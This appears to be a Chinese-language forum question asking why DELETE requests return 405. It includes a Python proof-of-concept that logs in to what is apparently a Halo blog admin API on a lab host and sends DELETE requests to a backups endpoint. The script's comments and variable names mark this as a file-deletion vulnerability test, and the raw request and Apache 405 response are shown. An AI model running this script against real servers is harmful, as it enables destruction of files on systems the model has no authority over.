我想编程实现一些功能,但是对于 delete 请求一直得到的响应是 405 方法不允许?这个该怎么解决?
`
登陆获取 Admin-Authorization
data = '{"username":"**","password":"****"}'
req = requests.post(self.url + ":8090/api/admin/login", data = data,headers=header, verify=False)
pattern = r'\"access_token\":\"([a-z0-9]{32})'
access_token = re.search(pattern, req.text)
Admin = access_token.group()[-32::]
header.update({"Admin-Authorization":Admin})
header.update({"Referer": "http://172.16.126.152:8090/admin/index.html"})
header.update({"Origin": "http://172.16.126.152:8090"})
header.pop('Content-Type')
# 存放在上级目录的测试文件
file_list = ["test.txt", "1.txt", ]
vuln_url = "/api/admin/backups/halo?filename="
url = self.url + ":8090"
for i in file_list:
payload = url + vuln_url + i
print(payload)
req = requests.delete(self.url + payload, headers=header, verify=False,proxies=proxy)
if req.status_code == 200 and '"message":"OK"' in req.text:
flag = True
请求:
DELETE /api/admin/backups/halo?filename=test.txt HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: application/json, text/plain, /
Connection: close
Host: 172.16.126.152:8090
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Admin-Authorization: 5fb534d0d21b4eb5940e42aa6a4f82ea
Referer: http://172.16.126.152:8090/admin/index.html
Origin: http://172.16.126.152:8090
Content-Length: 0
响应:
HTTP/1.1 405 Method Not Allowed
Date: Sat, 08 Jan 2022 14:31:25 GMT
Server: Apache/2.4.37 (centos)
Allow: HEAD,GET,POST,OPTIONS,TRACE
Content-Length: 223
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>405 Method Not Allowed</title>
</head><body>
<h1>Method Not Allowed</h1>
<p>The requested method DELETE is not allowed for this URL.</p>
</body></html>
`